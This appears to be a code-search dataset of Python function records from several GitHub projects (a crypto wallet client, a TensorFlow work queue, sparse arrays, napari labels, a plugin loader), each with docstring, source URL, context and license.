_get_this_service(need_private_access=False) raise PermissionError( "You cannot open a Wallet on a running Service (%s)" % service) self._wallet_key = None self._service_info = {} import os as _os wallet_dir = _get_wallet_dir() if not _os.path.exists(wallet_dir): _os.makedirs(wallet_dir, mode=0o700, exist_ok=False) elif not _os.path.isdir(wallet_dir): raise TypeError("The wallet directory must be a directory!") self._wallet_dir = wallet_dir def _create_wallet_key(self, filename): password = _get_wallet_password(confirm_password=True) from Acquire.Client import PrivateKey as _PrivateKey key = _PrivateKey(name="wallet_key") bytes = key.bytes(password) with open(filename, "wb") as FILE: FILE.write(bytes) return key def _get_wallet_key(self): if self._wallet_key: return self._wallet_key wallet_dir = self._wallet_dir keyfile = "%s/wallet_key.pem" % wallet_dir import os as _os if not _os.path.exists(keyfile): self._wallet_key = self._create_wallet_key(filename=keyfile) return self._wallet_key with open(keyfile, "rb") as FILE: bytes = FILE.read() wallet_key = None from Acquire.Client import PrivateKey as _PrivateKey for _ in range(0, 5): password = _get_wallet_password() try: wallet_key = _PrivateKey.read_bytes(bytes, password) except: _output("Invalid password. Please try again.") if wallet_key: break if wallet_key is None: raise PermissionError("Too many failed password attempts...") self._wallet_key = wallet_key return wallet_key @staticmethod def _get_service_dir(service_uid): assert(service_uid is not None) service_dir = "%s/%s" % (_get_wallet_dir(), service_uid) import os as _os if not _os.path.exists(service_dir): _os.makedirs(service_dir, mode=0o700) if not _os.path.isdir(service_dir): raise PermissionError( "Unable to get the directory to store wallet data for the " "service with UID '%s'" % service_uid) return service_dir def _get_userinfo_filename(self, user_uid, service_uid): assert(user_uid is not None) service_dir = Wallet._get_service_dir(service_uid) return "%s/user_%s.json" % (service_dir, user_uid) def _set_userinfo(self, userinfo, user_uid, service_uid): from Acquire.ObjectStore import bytes_to_string as _bytes_to_string import json as _json filename = self._get_userinfo_filename(user_uid=user_uid, service_uid=service_uid) key = self._get_wallet_key().public_key() data = _bytes_to_string(key.encrypt(_json.dumps(userinfo))) userinfo = {"username": userinfo["username"], "user_uid": user_uid, "data": data} _write_json(data=userinfo, filename=filename) def _unlock_userinfo(self, userinfo): from Acquire.ObjectStore import string_to_bytes as _string_to_bytes import json as _json key = self._get_wallet_key() data = _string_to_bytes(userinfo["data"]) result = _json.loads(key.decrypt(data)) result["user_uid"] = userinfo["user_uid"] return result def _get_userinfo(self, user_uid, service_uid): filename = self._get_userinfo_filename(user_uid=user_uid, service_uid=service_uid) userinfo = _read_json(filename=filename) return self._unlock_userinfo(userinfo) def _find_userinfo(self, username=None, password=None, service_uid=None): service_dir = Wallet._get_service_dir(service_uid) import glob as _glob userfiles = _glob.glob("%s/user_*.json" % service_dir) userinfos = [] for userfile in userfiles: try: userinfo = _read_json(userfile) if _could_match(userinfo, username, password): userinfos.append((userinfo["username"], userinfo)) except: pass userinfos.sort(key=lambda x: x[0]) if len(userinfos) == 1: return self._unlock_userinfo(userinfos[0][1]) if len(userinfos) == 0: if username is None: username = _input("Please type your username: ") userinfo = {"username": username} if password is not None: userinfo["password"] = password return userinfo _output("Please choose the account by typing in its number, " "or type a new username if you want a different account.") for (i, (username, userinfo)) in enumerate(userinfos): _output("[%d] %s {%s}" % (i+1, username, userinfo["user_uid"])) max_tries = 5 for i in range(0, max_tries): reply = _input( "\nMake your selection (1 to %d) " % (len(userinfos)) ) try: idx = int(reply) - 1 except: idx = None if idx is None: return self._find_userinfo(username=reply, password=password) elif idx < 0 or idx >= len(userinfos): _output("Invalid account.") else: return self._unlock_userinfo(userinfos[idx][1]) if i < max_tries-1: _output("Try again...") userinfo = {} if username is not None: userinfo["username"] = username return userinfo def _get_user_password(self, userinfo): if "password" in userinfo: return userinfo["password"] else: import getpass as _getpass password = _getpass.getpass( prompt="Please enter the login password: ") userinfo["password"] = password return password def _get_otpcode(self, userinfo): if "otpsecret" in userinfo: from Acquire.Client import OTP as _OTP otp = _OTP(userinfo["otpsecret"]) return otp.generate() else: import getpass as _getpass return _getpass.getpass( prompt="Please enter the one-time-password code: ") def get_services(self): import glob as _glob service_files = _glob.glob("%s/*/service_*.json" % self._wallet_dir) services = [] for service_file in service_files: services.append(_read_service(service_file)) return services def _get_service_from_registry(self, service_url=None, service_uid=None): from Acquire.Registry import get_trusted_registry_service as _get_trusted_registry_service from Acquire.ObjectStore import string_to_safestring as _string_to_safestring _output("Connecting to registry...") _flush_output() registry = _get_trusted_registry_service(service_uid=service_uid, service_url=service_url) _output("...connected to registry %s" % registry) _flush_output() service_dir = Wallet._get_service_dir(registry.uid()) registry_file = "%s/service_%s.json" % ( service_dir, _string_to_safestring(registry.canonical_url())) _write_service(service=registry, filename=registry_file) if service_url is not None: _output("Securely fetching keys for %s..." % service_url) _flush_output() else: _output("Securely fetching keys for UID %s..." % service_uid) _flush_output() service = registry.get_service(service_url=service_url, service_uid=service_uid) _output("...success.\nFetched %s" % service) _flush_output() return service def clear_cache(self): from Acquire.Service import clear_services_cache as _clear_services_cache _clear_services_cache() def add_service(self, service): from Acquire.Service import Service as _Service from Acquire.ObjectStore import string_to_safestring as _string_to_safestring s = _Service.resolve(service, fetch=True) service = s["service"] service_dir = Wallet._get_service_dir(service.uid()) service_file = "%s/service_%s.json" % ( service_dir, _string_to_safestring(service.canonical_url())) _write_service(service=service, filename=service_file) def get_service(self, service=None, service_url=None, service_uid=None, service_type=None, autofetch=True): from Acquire.ObjectStore import string_to_safestring as _string_to_safestring from Acquire.Service import Service as _Service if service is not None: s = _Service.resolve(service, fetch=False) if s["service"] is not None: self.add_service(s["service"]) return s["service"] service_uid = s["service_uid"] service_url = s["service_url"] service = None import glob as _glob if service_url is None: if service_uid is None: raise PermissionError( "You need to specify one of service_uid or service_url") service_dir = Wallet._get_service_dir(service_uid) service_files = _glob.glob("%s/service_*.json" % service_dir) for service_file in service_files: s = _read_service(service_file) if s.uid() == service_uid: service = s break else: from Acquire.Service import Service as _Service service_url = _Service.get_canonical_url(service_url, service_type=service_type) service_files = _glob.glob("%s/*/service_%s.json" % ( self._wallet_dir, _string_to_safestring(service_url))) for service_file in service_files: s = _read_service(service_file) if s.canonical_url() == service_url: service = s break must_write = False if service is None: if not autofetch: from Acquire.Service import ServiceError raise ServiceError("No service at %s:%s" % (service_url, service_uid)) service = self._get_service_from_registry(service_url=service_url, service_uid=service_uid) must_write = True elif service.should_refresh_keys(): try: service.refresh_keys() must_write = True except: _output("Something went wrong refreshing keys...") _output("Refreshing service from the registry.") service = self._get_service_from_registry( service_url=service_url, service_uid=service_uid) must_write = True if service_uid is not None: if service.uid() != service_uid: raise PermissionError( "Disagreement over the service UID for '%s' (%s)" % (service, service_uid)) if must_write: self.add_service(service) return service def remove_all_services(self): import glob as _glob import os as _os service_files = _glob.glob("%s/*/service_*.json" % self._wallet_dir) for service_file in service_files: if _os.path.exists(service_file): _os.unlink(service_file)
Apache License 2.0
alibaba/elastic-federated-learning-solution
efls-train/python/efl/dataio/work_queue.py
WorkQueue.add_summary
python
def add_summary(self): with ops.name_scope(self.name): with ops.device(self._remote_device): size = lib.ops.work_queue_size(self._handle) summary.scalar( "{}/fraction_of_{}_full".format(self.name, self._capacity), math_ops.to_float(size) * (1. / self._capacity))
Gets size of the work queue. Returns: Size of the work queue.
https://github.com/alibaba/elastic-federated-learning-solution/blob/e3fb357ad838e49b244c8a16fcc5dbd8aadeaf81/efls-train/python/efl/dataio/work_queue.py#L313-L324
from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import re from six import string_types from six.moves import xrange from tensorflow.python.eager import context from tensorflow.python.framework import constant_op from tensorflow.python.data.ops import dataset_ops from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_shape from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import data_flow_ops from tensorflow.python.ops import io_ops from tensorflow.python.ops import logging_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import random_ops from tensorflow.python.ops import string_ops from tensorflow.python.ops import variable_scope as vs from tensorflow.python.platform import gfile from tensorflow.python.platform import tf_logging as logging from tensorflow.python.summary import summary from tensorflow.python.training import queue_runner from tensorflow.python.training import saver from tensorflow.python.training import checkpoint_utils from tensorflow.python.training import training from efl import lib class WorkQueue(saver.BaseSaverBuilder.SaveableObject): class Resource(object): def __init__(self, name, works): self._name = name self._works = works @property def name(self): return self._name @property def handle(self): return self._works._handle @property def create(self): return self._works._create @property def is_initialized(self): return self._works._is_initialized def __init__( self, works, num_epochs=1, shuffle=True, seed=None, set_end_file=False, name=None): try: executing_eagerly = context.executing_eagerly() except: executing_eagerly = context.in_eager_mode() else: executing_eagerly = False if not executing_eagerly: name = ops.get_default_graph().unique_name(name or 'work_queue') else: name = name or context.context().scope_name if not isinstance(works, list) or not works: raise ValueError( "WorkQueue requires works as a list of strings") works = [ w.encode() if isinstance(w, string_types) else w for w in works] if not all([isinstance(w, bytes) for w in works]): raise ValueError( "WorkQueue requires works as a list of strings not {}".format( [type(w) for w in works])) self._works = [w.strip() for w in works] if num_epochs <= 0: raise ValueError("num_epochs must be > 0 not {}.".format(num_epochs)) with ops.name_scope(name): self._remote_device = vs.variable( 0, name="colocator", trainable=False, validate_shape=False, collections=[ops.GraphKeys.LOCAL_VARIABLES]).device self._local_device = control_flow_ops.no_op().device with ops.device(self._remote_device): self._handle = lib.ops.work_queue_handle_op(shared_name=name) self._digest_op = ops.convert_to_tensor( self.digest, dtype=dtypes.string) self._save = lib.ops.work_queue_save(self._handle) specs = [ saver.BaseSaverBuilder.SaveSpec( self._digest_op, "", name + "_digest"), saver.BaseSaverBuilder.SaveSpec( self._save, "", name + "_works")] self._capacity = len(self._works) works_tensor = ops.convert_to_tensor( self._works, dtype=dtypes.string) self._create = lib.ops.work_queue_create( self._handle, shared_name=name, set_end_file=set_end_file) for epoch_index in xrange(num_epochs): with ops.control_dependencies([self._create]): with ops.name_scope('epochs/{}'.format(epoch_index)): epoch = works_tensor if shuffle: epoch = random_ops.random_shuffle(epoch, seed=seed) with ops.control_dependencies( [logging_ops.print_v2( "Add epoch of", array_ops.size(epoch), "elements:", epoch, summarize=8)]): epoch = array_ops.identity(epoch) self._create = lib.ops.work_queue_put(self._handle, epoch) with ops.control_dependencies([self._create]): self._create = lib.ops.work_queue_close(self._handle) self._is_initialized = lib.ops.work_queue_is_initialized( self._handle) ops.add_to_collection(ops.GraphKeys.SAVEABLE_OBJECTS, self) ops.add_to_collection( ops.GraphKeys.RESOURCES, WorkQueue.Resource(name, self)) logging.info("%s placed at %s.", name, self._remote_device) super(WorkQueue, self).__init__(self, specs, name) def __len__(self): return self._capacity @property def works(self): return self._works @property def digest(self): return b','.join(self._works) def load_from_checkpoint( self, ckpt_dir_or_file, filename_tensor, preferred_shard): del preferred_shard ckpt_ready = False try: ckpt_reader = checkpoint_utils.load_checkpoint(ckpt_dir_or_file) tensors_in_ckpt = ckpt_reader.get_variable_to_shape_map() ckpt_ready = all([spec.name in tensors_in_ckpt for spec in self.specs]) del tensors_in_ckpt del ckpt_reader except: pass if ckpt_ready: return [ io_ops.restore_v2( filename_tensor, [spec.name], [spec.slice_spec], [spec.dtype])[0] for spec in self.specs] return [None, None] def restore(self, restored_tensors, _): if len(restored_tensors) != 2: raise ValueError('WorkQueue requires 2 tensors to restore') if restored_tensors[0] is None or restored_tensors[1] is None: logging.info("Work queue %s not found in checkpoint.", self.name) with ops.name_scope("{}_restore".format(self.name)): return self._create logging.info("Restore work queue %s.", self.name) packed_digest = ops.convert_to_tensor( restored_tensors[0], dtype=dtypes.string) current_digest = ops.convert_to_tensor( self.digest, dtype=dtypes.string) same_works_again = math_ops.equal(packed_digest, current_digest) works = ops.convert_to_tensor( restored_tensors[1], dtype=dtypes.string) with ops.control_dependencies([self._create]): create_with_prompt = logging_ops.print_v2( "Works queue {} abandoned in checkpoint.".format(self.name)) with ops.name_scope("{}/restore".format(self.name)): return control_flow_ops.cond( same_works_again, lambda: lib.ops.work_queue_restore(self._handle, works), lambda: create_with_prompt) def take_fn(self): with ops.name_scope(self.name): with ops.device(self._remote_device): taken = lib.ops.work_queue_take( self._handle) with ops.device(self._local_device): local_work = array_ops.identity(taken) return local_work def take(self): return self.take_fn() def input_producer(self): work = self.take() with ops.name_scope(self.name): with ops.device(self._local_device): proxy = data_flow_ops.FIFOQueue( capacity=1, dtypes=[dtypes.string], shapes=[tensor_shape.TensorShape([1])], name='proxy') with ops.control_dependencies( [logging_ops.print_v2("Take work:", work)]): work = array_ops.identity(work) enqueue_proxy = proxy.enqueue(array_ops.reshape(work, (1,))) cancel_proxy = proxy.close(cancel_pending_enqueues=True) proxy_runner = queue_runner.QueueRunner( proxy, [enqueue_proxy], cancel_op=cancel_proxy) queue_runner.add_queue_runner(proxy_runner) return proxy def input_dataset(self): proxy = self.input_producer() def get_next_work(_): work = array_ops.reshape(proxy.dequeue(), []) with ops.control_dependencies( [logging_ops.print_v2("Take work outof local queue:", work)]): return work with ops.name_scope(self.name): with ops.device(self._local_device): dataset = dataset_ops.Dataset.from_tensors(0).repeat() dataset = dataset.map(get_next_work) return dataset
Apache License 2.0
pydata/sparse
sparse/_umath.py
_get_matching_coords
python
def _get_matching_coords(coords, params): matching_coords = [] dims = np.zeros(len(coords), dtype=np.uint8) for p_all in zip(*params): for i, p in enumerate(p_all): if p: matching_coords.append(coords[i][dims[i]]) break else: matching_coords.append(coords[dims[0]]) for i, p in enumerate(p_all): if p is not None: dims[i] += 1 return np.asarray(matching_coords, dtype=np.intp)
Get the matching coords across a number of broadcast operands. Parameters ---------- coords : list[numpy.ndarray] The input coordinates. params : list[Union[bool, none]] The broadcast parameters. Returns ------- numpy.ndarray The broacasted coordinates
https://github.com/pydata/sparse/blob/0b7dfeb35cc5894fe36ed1742704acbb37c0c54e/sparse/_umath.py#L326-L357
import itertools import numba import numpy as np import scipy.sparse from itertools import zip_longest from ._utils import isscalar, equivalent, _zero_of_dtype def elemwise(func, *args, **kwargs): return _Elemwise(func, *args, **kwargs).get_result() @numba.jit(nopython=True, nogil=True) def _match_arrays(a, b): if len(a) == 0 or len(b) == 0: return np.empty(0, dtype=np.uintp), np.empty(0, dtype=np.uintp) a_ind, b_ind = [], [] nb = len(b) ib = 0 match = 0 for ia, j in enumerate(a): if j == b[match]: ib = match while ib < nb and j >= b[ib]: if j == b[ib]: a_ind.append(ia) b_ind.append(ib) if b[match] < b[ib]: match = ib ib += 1 return np.array(a_ind, dtype=np.uintp), np.array(b_ind, dtype=np.uintp) def _get_nary_broadcast_shape(*shapes): result_shape = () for shape in shapes: try: result_shape = _get_broadcast_shape(shape, result_shape) except ValueError: shapes_str = ", ".join(str(shape) for shape in shapes) raise ValueError( "operands could not be broadcast together with shapes %s" % shapes_str ) return result_shape def _get_broadcast_shape(shape1, shape2, is_result=False): if not all( (l1 == l2) or (l1 == 1) or ((l2 == 1) and not is_result) for l1, l2 in zip(shape1[::-1], shape2[::-1]) ): raise ValueError( "operands could not be broadcast together with shapes %s, %s" % (shape1, shape2) ) result_shape = tuple( l1 if l1 != 1 else l2 for l1, l2 in zip_longest(shape1[::-1], shape2[::-1], fillvalue=1) )[::-1] return result_shape def _get_broadcast_parameters(shape, broadcast_shape): params = [ None if l1 is None else l1 == l2 for l1, l2 in zip_longest(shape[::-1], broadcast_shape[::-1], fillvalue=None) ][::-1] return params def _get_reduced_coords(coords, params): reduced_params = [bool(param) for param in params] return coords[reduced_params] def _get_reduced_shape(shape, params): reduced_shape = tuple(l for l, p in zip(shape, params) if p) return reduced_shape def _get_expanded_coords_data(coords, data, params, broadcast_shape): first_dim = -1 expand_shapes = [] for d, p, l in zip(range(len(broadcast_shape)), params, broadcast_shape): if p and first_dim == -1: expand_shapes.append(coords.shape[1]) first_dim = d if not p: expand_shapes.append(l) all_idx = _cartesian_product(*(np.arange(d, dtype=np.intp) for d in expand_shapes)) false_dim = 0 dim = 0 expanded_coords = np.empty((len(broadcast_shape), all_idx.shape[1]), dtype=np.intp) if first_dim != -1: expanded_data = data[all_idx[first_dim]] else: expanded_coords = ( all_idx if len(data) else np.empty((0, all_idx.shape[1]), dtype=np.intp) ) expanded_data = np.repeat(data, np.prod(broadcast_shape, dtype=np.int64)) return np.asarray(expanded_coords), np.asarray(expanded_data) for d, p, l in zip(range(len(broadcast_shape)), params, broadcast_shape): if p: expanded_coords[d] = coords[dim, all_idx[first_dim]] else: expanded_coords[d] = all_idx[false_dim + (d > first_dim)] false_dim += 1 if p is not None: dim += 1 return np.asarray(expanded_coords), np.asarray(expanded_data) def _cartesian_product(*arrays): broadcastable = np.ix_(*arrays) broadcasted = np.broadcast_arrays(*broadcastable) rows, cols = np.prod(broadcasted[0].shape), len(broadcasted) dtype = np.result_type(*arrays) out = np.empty(rows * cols, dtype=dtype) start, end = 0, rows for a in broadcasted: out[start:end] = a.reshape(-1) start, end = end, end + rows return out.reshape(cols, rows)
BSD 3-Clause New or Revised License
napari/napari
napari/layers/labels/labels.py
Labels._is_default_colors
python
def _is_default_colors(self, color): if len(color) != 2: return False if not hasattr(self, '_color'): return False default_keys = [None, self._background_label] if set(default_keys) != set(color.keys()): return False for key in default_keys: if not np.allclose(self._color[key], color[key]): return False return True
Returns True if color contains only default colors, otherwise False. Default colors are black for `None` and transparent for `self._background_label`. Parameters ---------- color : Dict Dictionary of label value to color array Returns ------- bool True if color contains only default colors, otherwise False.
https://github.com/napari/napari/blob/c4c987c880fe125da608edf427767eafe7f2b3f4/napari/layers/labels/labels.py#L460-L490
import warnings from collections import deque from typing import Dict, List, Optional, Tuple, Union import numpy as np from scipy import ndimage as ndi from ...utils import config from ...utils._dtype import normalize_dtype from ...utils.colormaps import ( color_dict_to_colormap, label_colormap, low_discrepancy_image, ) from ...utils.events import Event from ...utils.events.custom_types import Array from ...utils.geometry import clamp_point_to_bounding_box from ...utils.status_messages import generate_layer_status from ...utils.translations import trans from ..base import no_op from ..image._image_utils import guess_multiscale from ..image.image import _ImageBase from ..utils.color_transformations import transform_color from ..utils.layer_utils import validate_properties from ._labels_constants import LabelColorMode, Mode from ._labels_mouse_bindings import draw, pick from ._labels_utils import indices_in_shape, sphere_indices _REV_SHAPE_HELP = { trans._('enter paint or fill mode to edit labels'): {Mode.PAN_ZOOM}, trans._('hold <space> to pan/zoom, click to pick a label'): { Mode.PICK, Mode.FILL, }, trans._( 'hold <space> to pan/zoom, hold <shift> to toggle preserve_labels, hold <control> to fill, hold <alt> to erase, drag to paint a label' ): {Mode.PAINT}, trans._('hold <space> to pan/zoom, drag to erase a label'): {Mode.ERASE}, } _FWD_SHAPE_HELP = {} for t, modes in _REV_SHAPE_HELP.items(): for m in modes: _FWD_SHAPE_HELP[m] = t class Labels(_ImageBase): _history_limit = 100 def __init__( self, data, *, num_colors=50, properties=None, color=None, seed=0.5, name=None, metadata=None, scale=None, translate=None, rotate=None, shear=None, affine=None, opacity=0.7, blending='translucent', rendering='iso_categorical', visible=True, multiscale=None, cache=True, experimental_slicing_plane=None, experimental_clipping_planes=None, ): self._seed = seed self._background_label = 0 self._num_colors = num_colors self._random_colormap = label_colormap(self.num_colors) self._all_vals = low_discrepancy_image( np.arange(self.num_colors), self._seed ) self._all_vals[0] = 0 self._color_mode = LabelColorMode.AUTO self._show_selected_label = False self._contour = 0 data = self._ensure_int_labels(data) self._color_lookup_func = None self._properties, self._label_index = self._prepare_properties( properties ) super().__init__( data, rgb=False, colormap=self._random_colormap, contrast_limits=[0.0, 1.0], interpolation='nearest', rendering=rendering, iso_threshold=0, name=name, metadata=metadata, scale=scale, translate=translate, rotate=rotate, shear=shear, affine=affine, opacity=opacity, blending=blending, visible=visible, multiscale=multiscale, cache=cache, experimental_slicing_plane=experimental_slicing_plane, experimental_clipping_planes=experimental_clipping_planes, ) self.events.add( mode=Event, preserve_labels=Event, properties=Event, n_edit_dimensions=Event, contiguous=Event, brush_size=Event, selected_label=Event, color_mode=Event, brush_shape=Event, contour=Event, ) self._n_edit_dimensions = 2 self._contiguous = True self._brush_size = 10 self._selected_label = 1 self._selected_color = self.get_color(self._selected_label) self.color = color self._mode = Mode.PAN_ZOOM self._status = self.mode self._preserve_labels = False self._help = trans._('enter paint or fill mode to edit labels') self._block_saving = False self._reset_history() self._update_dims() self._set_editable() @property def contiguous(self): return self._contiguous @contiguous.setter def contiguous(self, contiguous): self._contiguous = contiguous self.events.contiguous() @property def n_edit_dimensions(self): return self._n_edit_dimensions @n_edit_dimensions.setter def n_edit_dimensions(self, n_edit_dimensions): self._n_edit_dimensions = n_edit_dimensions self.events.n_edit_dimensions() @property def contour(self): return self._contour @contour.setter def contour(self, contour): self._contour = contour self.events.contour() self.refresh() @property def brush_size(self): return self._brush_size @brush_size.setter def brush_size(self, brush_size): self._brush_size = int(brush_size) self.cursor_size = self._calculate_cursor_size() self.events.brush_size() def _calculate_cursor_size(self): scale = self._data_to_world.scale min_scale = np.min([abs(scale[d]) for d in self._dims_displayed]) return abs(self.brush_size * min_scale) @property def seed(self): return self._seed @seed.setter def seed(self, seed): self._seed = seed self._all_vals = np.array([]) self._selected_color = self.get_color(self.selected_label) self.refresh() self.events.selected_label() @property def num_colors(self): return self._num_colors @num_colors.setter def num_colors(self, num_colors): self._num_colors = num_colors self.colormap = label_colormap(num_colors) self.refresh() self._selected_color = self.get_color(self.selected_label) self.events.selected_label() @property def data(self): return self._data @data.setter def data(self, data): data = self._ensure_int_labels(data) self._data = data self._update_dims() self.events.data(value=self.data) self._set_editable() @property def properties(self) -> Dict[str, np.ndarray]: return self._properties @properties.setter def properties(self, properties: Dict[str, Array]): self._properties, self._label_index = self._prepare_properties( properties ) self.events.properties() @classmethod def _prepare_properties( cls, properties: Optional[Dict[str, Array]] ) -> Tuple[Dict[str, np.ndarray], Dict[int, int]]: properties = validate_properties(properties) label_index = {} if 'index' in properties: label_index = {i: k for k, i in enumerate(properties['index'])} elif len(properties) > 0: max_len = max(len(x) for x in properties.values()) label_index = {i: i for i in range(max_len)} return properties, label_index @property def color(self): return self._color @color.setter def color(self, color): if not color: color = {} if self._background_label not in color: color[self._background_label] = 'transparent' if None not in color: color[None] = 'black' colors = { label: transform_color(color_str)[0] for label, color_str in color.items() } self._color = colors if self._is_default_colors(colors): color_mode = LabelColorMode.AUTO else: color_mode = LabelColorMode.DIRECT self.color_mode = color_mode
BSD 3-Clause New or Revised License
django-erp/django-erp
djangoerp/pluggets/decorators.py
is_plugget_editable
python
def is_plugget_editable(get_plugget_func, redirect_to='/'): def decorator(viewfunc): @wraps(viewfunc) def _wrapped_view(request, *args, **kwargs): from .loading import registry plugget = None if isinstance(get_plugget_func, collections.Callable): plugget = get_plugget_func(request, *args, **kwargs) if plugget and (not isinstance(plugget, Plugget) or (plugget.source not in registry.get_plugget_sources())): return redirect(redirect_to) return viewfunc(request, *args, **kwargs) return _wrapped_view return decorator
Checks if the plugget returned by "get_plugget_func" is editable or not. A plugget is editable if its source UID is registered.
https://github.com/django-erp/django-erp/blob/5813012647c56c139debc17351edad5accc2787f/djangoerp/pluggets/decorators.py#L25-L43
__author__ = 'Emanuele Bertoldi <emanuele.bertoldi@gmail.com>' __copyright__ = 'Copyright (c) 2013-2015, django ERP Team' __version__ = '0.0.5' from functools import wraps from django.shortcuts import redirect from .models import Plugget import collections
MIT License
rasmussenlab/vamb
src/mergeclusters.py
_iter_overlapping_pairs
python
def _iter_overlapping_pairs(contigsof, threshold=0.5): pairs = set() clustersof = _defaultdict(list) for clustername, contigs in contigsof.items(): for contig in contigs: clustersof[contig].append(clustername) for clusterlist in clustersof.values(): pairs.update(set(_itertools.combinations(clusterlist, 2))) del clustersof while pairs: cluster1, cluster2 = pairs.pop() contigs1 = contigsof[cluster1] contigs2 = contigsof[cluster2] intersection = contigs1.intersection(contigs2) overlap = len(intersection) / min(len(contigs1), len(contigs2)) if overlap >= threshold: yield (cluster1, cluster2), overlap
This creates a generator that yields (clst1, clst2), overlap for all pairs of clusters with nonzero overlap.
https://github.com/rasmussenlab/vamb/blob/d5c7b273049c20638d16cb7b71184f31e3088592/src/mergeclusters.py#L45-L69
__doc__ = """Merge clusters according to overlap in contigs. This module is obsolete in the current version of Vamb, as VAMB now creates disjoint clusters. We have retained it here because in the future, it might be of interest to return to producing overlapping clusters to improve accuracy and/or speed up clustering. This module contains four merging functions, of which one is commented out because it requires the python-igraph package. For all functions, the set of clusters are converted to a graph with each vertex being a cluster and two clusters are connected with an edge if the intersection of contigs divided by the smaller clusters exceeds a threshold. The four merging functions are: community_merge: (commented out, requires python-igraph): Merges nodes which form a community according to walktrap algorithm clique_merge: Merges all maximal cliques as new clusters. Note that this may increase rather than reduce the number of clusters. subgraph_merge: Merges sets of nodes which form a connected subgraph hierarchical_merge: Merges pairs of nodes together from most to least connected """ import sys as _sys import os as _os import itertools as _itertools import bisect as _bisect from collections import defaultdict as _defaultdict
MIT License
facelessuser/easydiff
lib/hg.py
which
python
def which(): location = None if os.path.basename(_hg_path) != _hg_path: if os.path.isfile(_hg_path): location = _hg_path else: paths = [x for x in os.environ["PATH"].split(os.pathsep) if not x.isspace()] for path in paths: exe = os.path.join(path, _hg_path) if os.path.isfile(exe): location = exe break return location
See if executable exists.
https://github.com/facelessuser/easydiff/blob/460934dc53df30a2bb1d22987421831f1716fc76/lib/hg.py#L23-L37
import xml.etree.ElementTree as ET import os import re import subprocess import sys if sys.platform.startswith('win'): _PLATFORM = "windows" elif sys.platform == "darwin": _PLATFORM = "osx" else: _PLATFORM = "linux" _hg_path = "hg.exe" if _PLATFORM == "windows" else "hg"
MIT License
washingtonpost/clokta
clokta/aws_cred_generator.py
AwsCredentialsGenerator.__init__
python
def __init__(self, data_dir, clokta_config, saml_assertion): self.clokta_config = clokta_config self.saml_assertion = saml_assertion self.data_dir = data_dir self.bash_file = None self.docker_file = None self.roles = self.__deduce_roles_from_saml() envars_to_clear = [ "AWS_PROFILE", "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN" ] for envvar in envars_to_clear: if envvar in os.environ: del os.environ[envvar]
Creates a credential generator capable of creating credentials in AWS :param clokta_config: the clokta configuration with which role has been designated default :type clokta_config: CloktaConfiguration :param saml_assertion: the saml token generated by Okta. This will define what account and roles will be used :type saml_assertion: str
https://github.com/washingtonpost/clokta/blob/104e398ba718e621bbec3ef7e1cbb8cb6cebf839/clokta/aws_cred_generator.py#L19-L44
import base64 import os import boto3 from botocore.exceptions import ClientError import xml.etree.ElementTree as ElementTree from clokta.clokta_configuration import CloktaConfiguration from clokta.common import Common from clokta.awsrole import AwsRole class AwsCredentialsGenerator:
MIT License
sci-bots/microdrop
microdrop/plugin_manager.py
emit_signal
python
def emit_signal(function, args=None, interface=IPlugin): logger = _L() i = 0 caller = caller_name(skip=i) while not caller or caller == 'microdrop.plugin_manager.emit_signal': i += 1 caller = caller_name(skip=i) try: observers = get_observers(function, interface) schedule = get_schedule(observers, function) return_codes = {} if args is None: args = [] elif not isinstance(args, list): args = [args] if not any((name in caller) for name in ('logger', 'emit_signal')): logger.debug('caller: %s -> %s', caller, function) if logger.getEffectiveLevel() <= logging.DEBUG: logger.debug('args: (%s)', ', '.join(map(repr, args))) for observer_name in schedule: observer = observers[observer_name] try: f = getattr(observer, function) logger.debug(' call: %s.%s(...)', observer.name, function) return_codes[observer.name] = f(*args) except Exception, why: with closing(StringIO()) as message: if hasattr(observer, "name"): if interface == ILoggingPlugin: continue print >> message, '%s plugin crashed processing %s signal.' % (observer.name, function) print >> message, 'Reason:', str(why) logger.error(message.getvalue().strip()) map(logger.info, traceback.format_exc().splitlines()) return return_codes except Exception, why: logger.error(why, exc_info=True) return {}
Call specified function on each enabled plugin implementing the function and collect results. Parameters ---------- function : str Name of function to generate schedule for. interface : class, optional Plugin interface class. Returns ------- dict Mapping from each service name to the respective function return value. .. versionchanged:: 2.20 Log caller at info level, and log args and observers at debug level.
https://github.com/sci-bots/microdrop/blob/11229fa85c71957594a30ccb6dd693c978074bc6/microdrop/plugin_manager.py#L374-L441
from StringIO import StringIO from collections import namedtuple from contextlib import closing import logging import pprint import sys import traceback from pyutilib.component.core import ExtensionPoint, PluginGlobals from pyutilib.component.core import Plugin, SingletonPlugin, implements import path_helpers as ph import task_scheduler from .interfaces import IPlugin, IWaveformGenerator, ILoggingPlugin from logging_helpers import _L, caller_name logger = logging.getLogger(__name__) ScheduleRequest = namedtuple('ScheduleRequest', 'before after') def load_plugins(plugins_dir='plugins', import_from_parent=True): logger = _L() logger.info('plugins_dir=`%s`', plugins_dir) plugins_dir = ph.path(plugins_dir).realpath() logger.info('Loading plugins:') plugins_root = plugins_dir.parent if import_from_parent else plugins_dir if plugins_root not in sys.path: sys.path.insert(0, plugins_root) e = PluginGlobals.env('microdrop.managed') initial_plugins = set(e.plugin_registry.values()) imported_plugins = set() for package_i in plugins_dir.dirs(): if package_i.isjunction() and not package_i.readlink().isdir(): logger.info('Skip import of `%s` (broken link to `%s`).', package_i.name, package_i.readlink()) continue elif package_i.name in (p.__module__.split('.')[0] for p in initial_plugins): logger.info('Skip import of `%s` (plugin with same name has ' 'already been imported).', package_i.name) continue elif package_i.name.startswith('.'): logger.info('Skip import of hidden directory `%s`.', package_i.name) continue try: plugin_module = package_i.name if package_i.joinpath('pyutilib.py').isfile(): plugin_module = '.'.join([plugin_module, 'pyutilib']) if import_from_parent: plugin_module = '.'.join([plugins_dir.name, plugin_module]) import_statement = 'import {}'.format(plugin_module) logger.debug(import_statement) exec(import_statement) all_plugins = set(e.plugin_registry.values()) current_plugin = list(all_plugins - initial_plugins - imported_plugins)[0] logger.info('\t Imported: %s (%s)', current_plugin.__name__, package_i) imported_plugins.add(current_plugin) except Exception: map(logger.info, traceback.format_exc().splitlines()) logger.error('Error loading %s plugin.', package_i.name, exc_info=True) 